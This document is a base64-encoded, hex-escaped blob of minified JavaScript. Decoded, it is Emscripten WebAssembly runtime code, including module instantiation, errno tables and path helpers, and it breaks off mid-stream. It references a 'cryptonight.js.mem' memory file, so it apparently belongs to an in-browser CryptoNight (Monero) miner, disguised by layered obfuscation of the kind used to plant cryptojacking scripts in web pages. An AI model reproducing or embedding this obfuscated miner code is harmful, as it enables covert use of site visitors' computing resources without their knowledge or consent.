ZnVuY3Rpb25ceDIwZG9OYXRpdmVXYXNtKGdsb2JhbCxlbnYscHJvdmlkZWRCdWZmZXIpe2lmKHR5cGVvZlx4MjBXZWJBc3NlbWJseSE9PVx4MjJvYmplY3RceDIyKXtNb2R1bGVbXHgyMnByaW50RXJyXHgyMl0oXHgyMm5vXHgyMG5hdGl2ZVx4MjB3YXNtXHgyMHN1cHBvcnRceDIwZGV0ZWN0ZWRceDIyKTtyZXR1cm5ceDIwZmFsc2V9aWYoIShNb2R1bGVbXHgyMndhc21NZW1vcnlceDIyXWluc3RhbmNlb2ZceDIwV2ViQXNzZW1ibHkuTWVtb3J5KSl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFx4MjJub1x4MjBuYXRpdmVceDIwd2FzbVx4MjBNZW1vcnlceDIwaW5ceDIwdXNlXHgyMik7cmV0dXJuXHgyMGZhbHNlfWVudltceDIybWVtb3J5XHgyMl09TW9kdWxlW1x4MjJ3YXNtTWVtb3J5XHgyMl07aW5mb1tceDIyZ2xvYmFsXHgyMl09e1x4MjJOYU5ceDIyOk5hTixceDIySW5maW5pdHlceDIyOkluZmluaXR5fTtpbmZvW1x4MjJnbG9iYWwuTWF0aFx4MjJdPWdsb2JhbC5NYXRoO2luZm9bXHgyMmVudlx4MjJdPWVudjtmdW5jdGlvblx4MjByZWNlaXZlSW5zdGFuY2UoaW5zdGFuY2Upe2V4cG9ydHM9aW5zdGFuY2UuZXhwb3J0cztpZihleHBvcnRzLm1lbW9yeSltZXJnZU1lbW9yeShleHBvcnRzLm1lbW9yeSk7TW9kdWxlW1x4MjJhc21ceDIyXT1leHBvcnRzO01vZHVsZVtceDIydXNpbmdXYXNtXHgyMl09dHJ1ZTtyZW1vdmVSdW5EZXBlbmRlbmN5KFx4MjJ3YXNtLWluc3RhbnRpYXRlXHgyMil9YWRkUnVuRGVwZW5kZW5jeShceDIyd2FzbS1pbnN0YW50aWF0ZVx4MjIpO2lmKE1vZHVsZVtceDIyaW5zdGFudGlhdGVXYXNtXHgyMl0pe3RyeXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJpbnN0YW50aWF0ZVdhc21ceDIyXShpbmZvLHJlY2VpdmVJbnN0YW5jZSl9Y2F0Y2goZSl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFx4MjJNb2R1bGUuaW5zdGFudGlhdGVXYXNtXHgyMGNhbGxiYWNrXHgyMGZhaWxlZFx4MjB3aXRoXHgyMGVycm9yOlx4MjBceDIyK2UpO3JldHVyblx4MjBmYWxzZX19Z2V0QmluYXJ5UHJvbWlzZSgpLnRoZW4oKGZ1bmN0aW9uKGJpbmFyeSl7cmV0dXJuXHgyMFdlYkFzc2VtYmx5Lmluc3RhbnRpYXRlKGJpbmFyeSxpbmZvKX0pKS50aGVuKChmdW5jdGlvbihvdXRwdXQpe3JlY2VpdmVJbnN0YW5jZShvdXRwdXRbXHgyMmluc3RhbmNlXHgyMl0pfSkpLmNhdGNoKChmdW5jdGlvbihyZWFzb24pe01vZHVsZVtceDIycHJpbnRFcnJceDIyXShceDIyZmFpbGVkXHgyMHRvXHgyMGFzeW5jaHJvbm91c2x5XHgyMHByZXBhcmVceDIwd2FzbTpceDIwXHgyMityZWFzb24pO2Fib3J0KHJlYXNvbil9KSk7cmV0dXJue319TW9kdWxlW1x4MjJhc21QcmVsb2FkXHgyMl09TW9kdWxlW1x4MjJhc21ceDIyXTt2YXJceDIwYXNtanNSZWFsbG9jQnVmZmVyPU1vZHVsZVtceDIycmVhbGxvY0J1ZmZlclx4MjJdO3Zhclx4MjB3YXNtUmVhbGxvY0J1ZmZlcj0oZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMFBBR0VfTVVMVElQTEU9TW9kdWxlW1x4MjJ1c2luZ1dhc21ceDIyXT9XQVNNX1BBR0VfU0laRTpBU01KU19QQUdFX1NJWkU7c2l6ZT1hbGlnblVwKHNpemUsUEFHRV9NVUxUSVBMRSk7dmFyXHgyMG9sZD1Nb2R1bGVbXHgyMmJ1ZmZlclx4MjJdO3Zhclx4MjBvbGRTaXplPW9sZC5ieXRlTGVuZ3RoO2lmKE1vZHVsZVtceDIydXNpbmdXYXNtXHgyMl0pe3RyeXt2YXJceDIwcmVzdWx0PU1vZHVsZVtceDIyd2FzbU1lbW9yeVx4MjJdLmdyb3coKHNpemUtb2xkU2l6ZSkvd2FzbVBhZ2VTaXplKTtpZihyZXN1bHQhPT0oLTF8MCkpe3JldHVyblx4MjBNb2R1bGVbXHgyMmJ1ZmZlclx4MjJdPU1vZHVsZVtceDIyd2FzbU1lbW9yeVx4MjJdLmJ1ZmZlcn1lbHNle3JldHVyblx4MjBudWxsfX1jYXRjaChlKXtyZXR1cm5ceDIwbnVsbH19ZWxzZXtleHBvcnRzW1x4MjJfX2dyb3dXYXNtTWVtb3J5XHgyMl0oKHNpemUtb2xkU2l6ZSkvd2FzbVBhZ2VTaXplKTtyZXR1cm5ceDIwTW9kdWxlW1x4MjJidWZmZXJceDIyXSE9PW9sZD9Nb2R1bGVbXHgyMmJ1ZmZlclx4MjJdOm51bGx9fSk7TW9kdWxlW1x4MjJyZWFsbG9jQnVmZmVyXHgyMl09KGZ1bmN0aW9uKHNpemUpe2lmKGZpbmFsTWV0aG9kPT09XHgyMmFzbWpzXHgyMil7cmV0dXJuXHgyMGFzbWpzUmVhbGxvY0J1ZmZlcihzaXplKX1lbHNle3JldHVyblx4MjB3YXNtUmVhbGxvY0J1ZmZlcihzaXplKX19KTt2YXJceDIwZmluYWxNZXRob2Q9XHgyMlx4MjI7TW9kdWxlW1x4MjJhc21ceDIyXT0oZnVuY3Rpb24oZ2xvYmFsLGVudixwcm92aWRlZEJ1ZmZlcil7Z2xvYmFsPWZpeEltcG9ydHMoZ2xvYmFsKTtlbnY9Zml4SW1wb3J0cyhlbnYpO2lmKCFlbnZbXHgyMnRhYmxlXHgyMl0pe3Zhclx4MjBUQUJMRV9TSVpFPU1vZHVsZVtceDIyd2FzbVRhYmxlU2l6ZVx4MjJdO2lmKFRBQkxFX1NJWkU9PT11bmRlZmluZWQpVEFCTEVfU0laRT0xMDI0O3Zhclx4MjBNQVhfVEFCTEVfU0laRT1Nb2R1bGVbXHgyMndhc21NYXhUYWJsZVNpemVceDIyXTtpZih0eXBlb2ZceDIwV2ViQXNzZW1ibHk9PT1ceDIyb2JqZWN0XHgyMiYmdHlwZW9mXHgyMFdlYkFzc2VtYmx5LlRhYmxlPT09XHgyMmZ1bmN0aW9uXHgyMil7aWYoTUFYX1RBQkxFX1NJWkUhPT11bmRlZmluZWQpe2VudltceDIydGFibGVceDIyXT1uZXdceDIwV2ViQXNzZW1ibHkuVGFibGUoe1x4MjJpbml0aWFsXHgyMjpUQUJMRV9TSVpFLFx4MjJtYXhpbXVtXHgyMjpNQVhfVEFCTEVfU0laRSxceDIyZWxlbWVudFx4MjI6XHgyMmFueWZ1bmNceDIyfSl9ZWxzZXtlbnZbXHgyMnRhYmxlXHgyMl09bmV3XHgyMFdlYkFzc2VtYmx5LlRhYmxlKHtceDIyaW5pdGlhbFx4MjI6VEFCTEVfU0laRSxlbGVtZW50Olx4MjJhbnlmdW5jXHgyMn0pfX1lbHNle2VudltceDIydGFibGVceDIyXT1uZXdceDIwQXJyYXkoVEFCTEVfU0laRSl9TW9kdWxlW1x4MjJ3YXNtVGFibGVceDIyXT1lbnZbXHgyMnRhYmxlXHgyMl19aWYoIWVudltceDIybWVtb3J5QmFzZVx4MjJdKXtlbnZbXHgyMm1lbW9yeUJhc2VceDIyXT1Nb2R1bGVbXHgyMlNUQVRJQ19CQVNFXHgyMl19aWYoIWVudltceDIydGFibGVCYXNlXHgyMl0pe2VudltceDIydGFibGVCYXNlXHgyMl09MH12YXJceDIwZXhwb3J0cztleHBvcnRzPWRvTmF0aXZlV2FzbShnbG9iYWwsZW52LHByb3ZpZGVkQnVmZmVyKTtyZXR1cm5ceDIwZXhwb3J0c30pO3Zhclx4MjBtZXRob2RIYW5kbGVyPU1vZHVsZVtceDIyYXNtXHgyMl19aW50ZWdyYXRlV2FzbUpTKE1vZHVsZSk7dmFyXHgyMEFTTV9DT05TVFM9W107U1RBVElDX0JBU0U9UnVudGltZS5HTE9CQUxfQkFTRTtTVEFUSUNUT1A9U1RBVElDX0JBU0UrMTI1MTI7X19BVElOSVRfXy5wdXNoKCk7bWVtb3J5SW5pdGlhbGl6ZXI9TW9kdWxlW1x4MjJ3YXNtSlNNZXRob2RceDIyXS5pbmRleE9mKFx4MjJhc21qc1x4MjIpPj0wfHxNb2R1bGVbXHgyMndhc21KU01ldGhvZFx4MjJdLmluZGV4T2YoXHgyMmludGVycHJldC1hc20yd2FzbVx4MjIpPj0wP1x4MjJjcnlwdG9uaWdodC5qcy5tZW1ceDIyOm51bGw7dmFyXHgyMFNUQVRJQ19CVU1QPTEyNTEyO01vZHVsZVtceDIyU1RBVElDX0JBU0VceDIyXT1TVEFUSUNfQkFTRTtNb2R1bGVbXHgyMlNUQVRJQ19CVU1QXHgyMl09U1RBVElDX0JVTVA7dmFyXHgyMHRlbXBEb3VibGVQdHI9U1RBVElDVE9QO1NUQVRJQ1RPUCs9MTY7ZnVuY3Rpb25ceDIwX19fYXNzZXJ0X2ZhaWwoY29uZGl0aW9uLGZpbGVuYW1lLGxpbmUsZnVuYyl7QUJPUlQ9dHJ1ZTt0aHJvd1x4MjJBc3NlcnRpb25ceDIwZmFpbGVkOlx4MjBceDIyK1BvaW50ZXJfc3RyaW5naWZ5KGNvbmRpdGlvbikrXHgyMixceDIwYXQ6XHgyMFx4MjIrW2ZpbGVuYW1lP1BvaW50ZXJfc3RyaW5naWZ5KGZpbGVuYW1lKTpceDIydW5rbm93blx4MjBmaWxlbmFtZVx4MjIsbGluZSxmdW5jP1BvaW50ZXJfc3RyaW5naWZ5KGZ1bmMpOlx4MjJ1bmtub3duXHgyMGZ1bmN0aW9uXHgyMl0rXHgyMlx4MjBhdFx4MjBceDIyK3N0YWNrVHJhY2UoKX12YXJceDIwUFJPQ0lORk89e3BwaWQ6MSxwaWQ6NDIsc2lkOjQyLHBnaWQ6NDJ9O3Zhclx4MjBFUlJOT19DT0RFUz17RVBFUk06MSxFTk9FTlQ6MixFU1JDSDozLEVJTlRSOjQsRUlPOjUsRU5YSU86NixFMkJJRzo3LEVOT0VYRUM6OCxFQkFERjo5LEVDSElMRDoxMCxFQUdBSU46MTEsRVdPVUxEQkxPQ0s6MTEsRU5PTUVNOjEyLEVBQ0NFUzoxMyxFRkFVTFQ6MTQsRU5PVEJMSzoxNSxFQlVTWToxNixFRVhJU1Q6MTcsRVhERVY6MTgsRU5PREVWOjE5LEVOT1RESVI6MjAsRUlTRElSOjIxLEVJTlZBTDoyMixFTkZJTEU6MjMsRU1GSUxFOjI0LEVOT1RUWToyNSxFVFhUQlNZOjI2LEVGQklHOjI3LEVOT1NQQzoyOCxFU1BJUEU6MjksRVJPRlM6MzAsRU1MSU5LOjMxLEVQSVBFOjMyLEVET006MzMsRVJBTkdFOjM0LEVOT01TRzo0MixFSURSTTo0MyxFQ0hSTkc6NDQsRUwyTlNZTkM6NDUsRUwzSExUOjQ2LEVMM1JTVDo0NyxFTE5STkc6NDgsRVVOQVRDSDo0OSxFTk9DU0k6NTAsRUwySExUOjUxLEVERUFETEs6MzUsRU5PTENLOjM3LEVCQURFOjUyLEVCQURSOjUzLEVYRlVMTDo1NCxFTk9BTk86NTUsRUJBRFJRQzo1NixFQkFEU0xUOjU3LEVERUFETE9DSzozNSxFQkZPTlQ6NTksRU5PU1RSOjYwLEVOT0RBVEE6NjEsRVRJTUU6NjIsRU5PU1I6NjMsRU5PTkVUOjY0LEVOT1BLRzo2NSxFUkVNT1RFOjY2LEVOT0xJTks6NjcsRUFEVjo2OCxFU1JNTlQ6NjksRUNPTU06NzAsRVBST1RPOjcxLEVNVUxUSUhPUDo3MixFRE9URE9UOjczLEVCQURNU0c6NzQsRU5PVFVOSVE6NzYsRUJBREZEOjc3LEVSRU1DSEc6NzgsRUxJQkFDQzo3OSxFTElCQkFEOjgwLEVMSUJTQ046ODEsRUxJQk1BWDo4MixFTElCRVhFQzo4MyxFTk9TWVM6MzgsRU5PVEVNUFRZOjM5LEVOQU1FVE9PTE9ORzozNixFTE9PUDo0MCxFT1BOT1RTVVBQOjk1LEVQRk5PU1VQUE9SVDo5NixFQ09OTlJFU0VUOjEwNCxFTk9CVUZTOjEwNSxFQUZOT1NVUFBPUlQ6OTcsRVBST1RPVFlQRTo5MSxFTk9UU09DSzo4OCxFTk9QUk9UT09QVDo5MixFU0hVVERPV046MTA4LEVDT05OUkVGVVNFRDoxMTEsRUFERFJJTlVTRTo5OCxFQ09OTkFCT1JURUQ6MTAzLEVORVRVTlJFQUNIOjEwMSxFTkVURE9XTjoxMDAsRVRJTUVET1VUOjExMCxFSE9TVERPV046MTEyLEVIT1NUVU5SRUFDSDoxMTMsRUlOUFJPR1JFU1M6MTE1LEVBTFJFQURZOjExNCxFREVTVEFERFJSRVE6ODksRU1TR1NJWkU6OTAsRVBST1RPTk9TVVBQT1JUOjkzLEVTT0NLVE5PU1VQUE9SVDo5NCxFQUREUk5PVEFWQUlMOjk5LEVORVRSRVNFVDoxMDIsRUlTQ09OTjoxMDYsRU5PVENPTk46MTA3LEVUT09NQU5ZUkVGUzoxMDksRVVTRVJTOjg3LEVEUVVPVDoxMjIsRVNUQUxFOjExNixFTk9UU1VQOjk1LEVOT01FRElVTToxMjMsRUlMU0VROjg0LEVPVkVSRkxPVzo3NSxFQ0FOQ0VMRUQ6MTI1LEVOT1RSRUNPVkVSQUJMRToxMzEsRU9XTkVSREVBRDoxMzAsRVNUUlBJUEU6ODZ9O3Zhclx4MjBFUlJOT19NRVNTQUdFUz17MDpceDIyU3VjY2Vzc1x4MjIsMTpceDIyTm90XHgyMHN1cGVyLXVzZXJceDIyLDI6XHgyMk5vXHgyMHN1Y2hceDIwZmlsZVx4MjBvclx4MjBkaXJlY3RvcnlceDIyLDM6XHgyMk5vXHgyMHN1Y2hceDIwcHJvY2Vzc1x4MjIsNDpceDIySW50ZXJydXB0ZWRceDIwc3lzdGVtXHgyMGNhbGxceDIyLDU6XHgyMkkvT1x4MjBlcnJvclx4MjIsNjpceDIyTm9ceDIwc3VjaFx4MjBkZXZpY2VceDIwb3JceDIwYWRkcmVzc1x4MjIsNzpceDIyQXJnXHgyMGxpc3RceDIwdG9vXHgyMGxvbmdceDIyLDg6XHgyMkV4ZWNceDIwZm9ybWF0XHgyMGVycm9yXHgyMiw5Olx4MjJCYWRceDIwZmlsZVx4MjBudW1iZXJceDIyLDEwOlx4MjJOb1x4MjBjaGlsZHJlblx4MjIsMTE6XHgyMk5vXHgyMG1vcmVceDIwcHJvY2Vzc2VzXHgyMiwxMjpceDIyTm90XHgyMGVub3VnaFx4MjBjb3JlXHgyMiwxMzpceDIyUGVybWlzc2lvblx4MjBkZW5pZWRceDIyLDE0Olx4MjJCYWRceDIwYWRkcmVzc1x4MjIsMTU6XHgyMkJsb2NrXHgyMGRldmljZVx4MjByZXF1aXJlZFx4MjIsMTY6XHgyMk1vdW50XHgyMGRldmljZVx4MjBidXN5XHgyMiwxNzpceDIyRmlsZVx4MjBleGlzdHNceDIyLDE4Olx4MjJDcm9zcy1kZXZpY2VceDIwbGlua1x4MjIsMTk6XHgyMk5vXHgyMHN1Y2hceDIwZGV2aWNlXHgyMiwyMDpceDIyTm90XHgyMGFceDIwZGlyZWN0b3J5XHgyMiwyMTpceDIySXNceDIwYVx4MjBkaXJlY3RvcnlceDIyLDIyOlx4MjJJbnZhbGlkXHgyMGFyZ3VtZW50XHgyMiwyMzpceDIyVG9vXHgyMG1hbnlceDIwb3Blblx4MjBmaWxlc1x4MjBpblx4MjBzeXN0ZW1ceDIyLDI0Olx4MjJUb29ceDIwbWFueVx4MjBvcGVuXHgyMGZpbGVzXHgyMiwyNTpceDIyTm90XHgyMGFceDIwdHlwZXdyaXRlclx4MjIsMjY6XHgyMlRleHRceDIwZmlsZVx4MjBidXN5XHgyMiwyNzpceDIyRmlsZVx4MjB0b29ceDIwbGFyZ2VceDIyLDI4Olx4MjJOb1x4MjBzcGFjZVx4MjBsZWZ0XHgyMG9uXHgyMGRldmljZVx4MjIsMjk6XHgyMklsbGVnYWxceDIwc2Vla1x4MjIsMzA6XHgyMlJlYWRceDIwb25seVx4MjBmaWxlXHgyMHN5c3RlbVx4MjIsMzE6XHgyMlRvb1x4MjBtYW55XHgyMGxpbmtzXHgyMiwzMjpceDIyQnJva2VuXHgyMHBpcGVceDIyLDMzOlx4MjJNYXRoXHgyMGFyZ1x4MjBvdXRceDIwb2ZceDIwZG9tYWluXHgyMG9mXHgyMGZ1bmNceDIyLDM0Olx4MjJNYXRoXHgyMHJlc3VsdFx4MjBub3RceDIwcmVwcmVzZW50YWJsZVx4MjIsMzU6XHgyMkZpbGVceDIwbG9ja2luZ1x4MjBkZWFkbG9ja1x4MjBlcnJvclx4MjIsMzY6XHgyMkZpbGVceDIwb3JceDIwcGF0aFx4MjBuYW1lXHgyMHRvb1x4MjBsb25nXHgyMiwzNzpceDIyTm9ceDIwcmVjb3JkXHgyMGxvY2tzXHgyMGF2YWlsYWJsZVx4MjIsMzg6XHgyMkZ1bmN0aW9uXHgyMG5vdFx4MjBpbXBsZW1lbnRlZFx4MjIsMzk6XHgyMkRpcmVjdG9yeVx4MjBub3RceDIwZW1wdHlceDIyLDQwOlx4MjJUb29ceDIwbWFueVx4MjBzeW1ib2xpY1x4MjBsaW5rc1x4MjIsNDI6XHgyMk5vXHgyMG1lc3NhZ2VceDIwb2ZceDIwZGVzaXJlZFx4MjB0eXBlXHgyMiw0MzpceDIySWRlbnRpZmllclx4MjByZW1vdmVkXHgyMiw0NDpceDIyQ2hhbm5lbFx4MjBudW1iZXJceDIwb3V0XHgyMG9mXHgyMHJhbmdlXHgyMiw0NTpceDIyTGV2ZWxceDIwMlx4MjBub3RceDIwc3luY2hyb25pemVkXHgyMiw0NjpceDIyTGV2ZWxceDIwM1x4MjBoYWx0ZWRceDIyLDQ3Olx4MjJMZXZlbFx4MjAzXHgyMHJlc2V0XHgyMiw0ODpceDIyTGlua1x4MjBudW1iZXJceDIwb3V0XHgyMG9mXHgyMHJhbmdlXHgyMiw0OTpceDIyUHJvdG9jb2xceDIwZHJpdmVyXHgyMG5vdFx4MjBhdHRhY2hlZFx4MjIsNTA6XHgyMk5vXHgyMENTSVx4MjBzdHJ1Y3R1cmVceDIwYXZhaWxhYmxlXHgyMiw1MTpceDIyTGV2ZWxceDIwMlx4MjBoYWx0ZWRceDIyLDUyOlx4MjJJbnZhbGlkXHgyMGV4Y2hhbmdlXHgyMiw1MzpceDIySW52YWxpZFx4MjByZXF1ZXN0XHgyMGRlc2NyaXB0b3JceDIyLDU0Olx4MjJFeGNoYW5nZVx4MjBmdWxsXHgyMiw1NTpceDIyTm9ceDIwYW5vZGVceDIyLDU2Olx4MjJJbnZhbGlkXHgyMHJlcXVlc3RceDIwY29kZVx4MjIsNTc6XHgyMkludmFsaWRceDIwc2xvdFx4MjIsNTk6XHgyMkJhZFx4MjBmb250XHgyMGZpbGVceDIwZm10XHgyMiw2MDpceDIyRGV2aWNlXHgyMG5vdFx4MjBhXHgyMHN0cmVhbVx4MjIsNjE6XHgyMk5vXHgyMGRhdGFceDIwKGZvclx4MjBub1x4MjBkZWxheVx4MjBpbylceDIyLDYyOlx4MjJUaW1lclx4MjBleHBpcmVkXHgyMiw2MzpceDIyT3V0XHgyMG9mXHgyMHN0cmVhbXNceDIwcmVzb3VyY2VzXHgyMiw2NDpceDIyTWFjaGluZVx4MjBpc1x4MjBub3RceDIwb25ceDIwdGhlXHgyMG5ldHdvcmtceDIyLDY1Olx4MjJQYWNrYWdlXHgyMG5vdFx4MjBpbnN0YWxsZWRceDIyLDY2Olx4MjJUaGVceDIwb2JqZWN0XHgyMGlzXHgyMHJlbW90ZVx4MjIsNjc6XHgyMlRoZVx4MjBsaW5rXHgyMGhhc1x4MjBiZWVuXHgyMHNldmVyZWRceDIyLDY4Olx4MjJBZHZlcnRpc2VceDIwZXJyb3JceDIyLDY5Olx4MjJTcm1vdW50XHgyMGVycm9yXHgyMiw3MDpceDIyQ29tbXVuaWNhdGlvblx4MjBlcnJvclx4MjBvblx4MjBzZW5kXHgyMiw3MTpceDIyUHJvdG9jb2xceDIwZXJyb3JceDIyLDcyOlx4MjJNdWx0aWhvcFx4MjBhdHRlbXB0ZWRceDIyLDczOlx4MjJDcm9zc1x4MjBtb3VudFx4MjBwb2ludFx4MjAobm90XHgyMHJlYWxseVx4MjBlcnJvcilceDIyLDc0Olx4MjJUcnlpbmdceDIwdG9ceDIwcmVhZFx4MjB1bnJlYWRhYmxlXHgyMG1lc3NhZ2VceDIyLDc1Olx4MjJWYWx1ZVx4MjB0b29ceDIwbGFyZ2VceDIwZm9yXHgyMGRlZmluZWRceDIwZGF0YVx4MjB0eXBlXHgyMiw3NjpceDIyR2l2ZW5ceDIwbG9nLlx4MjBuYW1lXHgyMG5vdFx4MjB1bmlxdWVceDIyLDc3Olx4MjJmLmQuXHgyMGludmFsaWRceDIwZm9yXHgyMHRoaXNceDIwb3BlcmF0aW9uXHgyMiw3ODpceDIyUmVtb3RlXHgyMGFkZHJlc3NceDIwY2hhbmdlZFx4MjIsNzk6XHgyMkNhblx4MjBhY2Nlc3NceDIwYVx4MjBuZWVkZWRceDIwc2hhcmVkXHgyMGxpYlx4MjIsODA6XHgyMkFjY2Vzc2luZ1x4MjBhXHgyMGNvcnJ1cHRlZFx4MjBzaGFyZWRceDIwbGliXHgyMiw4MTpceDIyLmxpYlx4MjBzZWN0aW9uXHgyMGluXHgyMGEub3V0XHgyMGNvcnJ1cHRlZFx4MjIsODI6XHgyMkF0dGVtcHRpbmdceDIwdG9ceDIwbGlua1x4MjBpblx4MjB0b29ceDIwbWFueVx4MjBsaWJzXHgyMiw4MzpceDIyQXR0ZW1wdGluZ1x4MjB0b1x4MjBleGVjXHgyMGFceDIwc2hhcmVkXHgyMGxpYnJhcnlceDIyLDg0Olx4MjJJbGxlZ2FsXHgyMGJ5dGVceDIwc2VxdWVuY2VceDIyLDg2Olx4MjJTdHJlYW1zXHgyMHBpcGVceDIwZXJyb3JceDIyLDg3Olx4MjJUb29ceDIwbWFueVx4MjB1c2Vyc1x4MjIsODg6XHgyMlNvY2tldFx4MjBvcGVyYXRpb25ceDIwb25ceDIwbm9uLXNvY2tldFx4MjIsODk6XHgyMkRlc3RpbmF0aW9uXHgyMGFkZHJlc3NceDIwcmVxdWlyZWRceDIyLDkwOlx4MjJNZXNzYWdlXHgyMHRvb1x4MjBsb25nXHgyMiw5MTpceDIyUHJvdG9jb2xceDIwd3JvbmdceDIwdHlwZVx4MjBmb3JceDIwc29ja2V0XHgyMiw5MjpceDIyUHJvdG9jb2xceDIwbm90XHgyMGF2YWlsYWJsZVx4MjIsOTM6XHgyMlVua25vd25ceDIwcHJvdG9jb2xceDIyLDk0Olx4MjJTb2NrZXRceDIwdHlwZVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMiw5NTpceDIyTm90XHgyMHN1cHBvcnRlZFx4MjIsOTY6XHgyMlByb3RvY29sXHgyMGZhbWlseVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMiw5NzpceDIyQWRkcmVzc1x4MjBmYW1pbHlceDIwbm90XHgyMHN1cHBvcnRlZFx4MjBieVx4MjBwcm90b2NvbFx4MjBmYW1pbHlceDIyLDk4Olx4MjJBZGRyZXNzXHgyMGFscmVhZHlceDIwaW5ceDIwdXNlXHgyMiw5OTpceDIyQWRkcmVzc1x4MjBub3RceDIwYXZhaWxhYmxlXHgyMiwxMDA6XHgyMk5ldHdvcmtceDIwaW50ZXJmYWNlXHgyMGlzXHgyMG5vdFx4MjBjb25maWd1cmVkXHgyMiwxMDE6XHgyMk5ldHdvcmtceDIwaXNceDIwdW5yZWFjaGFibGVceDIyLDEwMjpceDIyQ29ubmVjdGlvblx4MjByZXNldFx4MjBieVx4MjBuZXR3b3JrXHgyMiwxMDM6XHgyMkNvbm5lY3Rpb25ceDIwYWJvcnRlZFx4MjIsMTA0Olx4MjJDb25uZWN0aW9uXHgyMHJlc2V0XHgyMGJ5XHgyMHBlZXJceDIyLDEwNTpceDIyTm9ceDIwYnVmZmVyXHgyMHNwYWNlXHgyMGF2YWlsYWJsZVx4MjIsMTA2Olx4MjJTb2NrZXRceDIwaXNceDIwYWxyZWFkeVx4MjBjb25uZWN0ZWRceDIyLDEwNzpceDIyU29ja2V0XHgyMGlzXHgyMG5vdFx4MjBjb25uZWN0ZWRceDIyLDEwODpceDIyQ2FuXHgyN3RceDIwc2VuZFx4MjBhZnRlclx4MjBzb2NrZXRceDIwc2h1dGRvd25ceDIyLDEwOTpceDIyVG9vXHgyMG1hbnlceDIwcmVmZXJlbmNlc1x4MjIsMTEwOlx4MjJDb25uZWN0aW9uXHgyMHRpbWVkXHgyMG91dFx4MjIsMTExOlx4MjJDb25uZWN0aW9uXHgyMHJlZnVzZWRceDIyLDExMjpceDIySG9zdFx4MjBpc1x4MjBkb3duXHgyMiwxMTM6XHgyMkhvc3RceDIwaXNceDIwdW5yZWFjaGFibGVceDIyLDExNDpceDIyU29ja2V0XHgyMGFscmVhZHlceDIwY29ubmVjdGVkXHgyMiwxMTU6XHgyMkNvbm5lY3Rpb25ceDIwYWxyZWFkeVx4MjBpblx4MjBwcm9ncmVzc1x4MjIsMTE2Olx4MjJTdGFsZVx4MjBmaWxlXHgyMGhhbmRsZVx4MjIsMTIyOlx4MjJRdW90YVx4MjBleGNlZWRlZFx4MjIsMTIzOlx4MjJOb1x4MjBtZWRpdW1ceDIwKGluXHgyMHRhcGVceDIwZHJpdmUpXHgyMiwxMjU6XHgyMk9wZXJhdGlvblx4MjBjYW5jZWxlZFx4MjIsMTMwOlx4MjJQcmV2aW91c1x4MjBvd25lclx4MjBkaWVkXHgyMiwxMzE6XHgyMlN0YXRlXHgyMG5vdFx4MjByZWNvdmVyYWJsZVx4MjJ9O2Z1bmN0aW9uXHgyMF9fX3NldEVyck5vKHZhbHVlKXtpZihNb2R1bGVbXHgyMl9fX2Vycm5vX2xvY2F0aW9uXHgyMl0pSEVBUDMyW01vZHVsZVtceDIyX19fZXJybm9fbG9jYXRpb25ceDIyXSgpPj4yXT12YWx1ZTtyZXR1cm5ceDIwdmFsdWV9dmFyXHgyMFBBVEg9e3NwbGl0UGF0aDooZnVuY3Rpb24oZmlsZW5hbWUpe3Zhclx4MjBzcGxpdFBhdGhSZT0vXihceDVjLz98KShbXHg1Y3NceDVjU10qPykoKD86XHg1Yy57MSwyfXxbXlx4NWMvXSs/fCkoXHg1Yy5bXi5ceDVjL10qfCkpKD86W1x4NWMvXSopJC87cmV0dXJuXHgyMHNwbGl0UGF0aFJlLmV4ZWMoZmlsZW5hbWUpLnNsaWNlKDEpfSksbm9ybWFsaXplQXJyYXk6KGZ1bmN0aW9uKHBhcnRzLGFsbG93QWJvdmVSb290KXt2YXJceDIwdXA9MDtmb3IodmFyXHgyMGk9cGFydHMubGVuZ3RoLTE7aT49MDtpLS0pe3Zhclx4MjBsYXN0PXBhcnRzW2ldO2lmKGxhc3Q9PT1ceDIyLlx4MjIpe3BhcnRzLnNwbGljZShpLDEpfWVsc2VceDIwaWYobGFzdD09PVx4MjIuLlx4MjIpe3BhcnRzLnNwbGljZShpLDEpO3VwKyt9ZWxzZVx4MjBpZih1cCl7cGFydHMuc3BsaWNlKGksMSk7dXAtLX19aWYoYWxsb3dBYm92ZVJvb3Qpe2Zvcig7dXA7dXAtLSl7cGFydHMudW5zaGlmdChceDIyLi5ceDIyKX19cmV0dXJuXHgyMHBhcnRzfSksbm9ybWFsaXplOihmdW5jdGlvbihwYXRoKXt2YXJceDIwaXNBYnNvbHV0ZT1wYXRoLmNoYXJBdCgwKT09PVx4MjIvXHgyMix0cmFpbGluZ1NsYXNoPXBhdGguc3Vic3RyKC0xKT09PVx4MjIvXHgyMjtwYXRoPVBBVEgubm9ybWFsaXplQXJyYXkocGF0aC5zcGxpdChceDIyL1x4MjIpLmZpbHRlcigoZnVuY3Rpb24ocCl7cmV0dXJuISFwfSkpLCFpc0Fic29sdXRlKS5qb2luKFx4MjIvXHgyMik7aWYoIXBhdGgmJiFpc0Fic29sdXRlKXtwYXRoPVx4MjIuXHgyMn1pZihwYXRoJiZ0cmFpbGluZ1NsYXNoKXtwYXRoKz1ceDIyL1x4MjJ9cmV0dXJuKGlzQWJzb2x1dGU/XHgyMi9ceDIyOlx4MjJceDIyKStwYXRofSksZGlybmFtZTooZnVuY3Rpb24ocGF0aCl7dmFyXHgyMHJlc3VsdD1QQVRILnNwbGl0UGF0aChwYXRoKSxyb290PXJlc3VsdFswXSxkaXI9cmVzdWx0WzFdO2lmKCFyb290JiYhZGlyKXtyZXR1cm5ceDIyLlx4MjJ9aWYoZGlyKXtkaXI9ZGlyLnN1YnN0cigwLGRpci5sZW5ndGgtMSl9cmV0dXJuXHgyMHJvb3QrZGlyfSksYmFzZW5hbWU6KGZ1bmN0aW9uKHBhdGgpe2lmKHBhdGg9PT1ceDIyL1x4MjIpcmV0dXJuXHgyMi9ceDIyO3Zhclx4MjBsYXN0U2xhc2g9cGF0aC5sYXN0SW5kZXhPZihceDIyL1x4MjIpO2lmKGxhc3RTbGFzaD09PS0xKXJldHVyblx4MjBwYXRoO3JldHVyblx4MjBwYXRoLnN1YnN0cihsYXN0U2xhc2grMSl9KSxleHRuYW1lOihmdW5jdGlvbihwYXRoKXtyZXR1cm5ceDIwUEFUSC5zcGxpdFBhdGgocGF0aClbM119KSxqb2luOihmdW5jdGlvbigpe3Zhc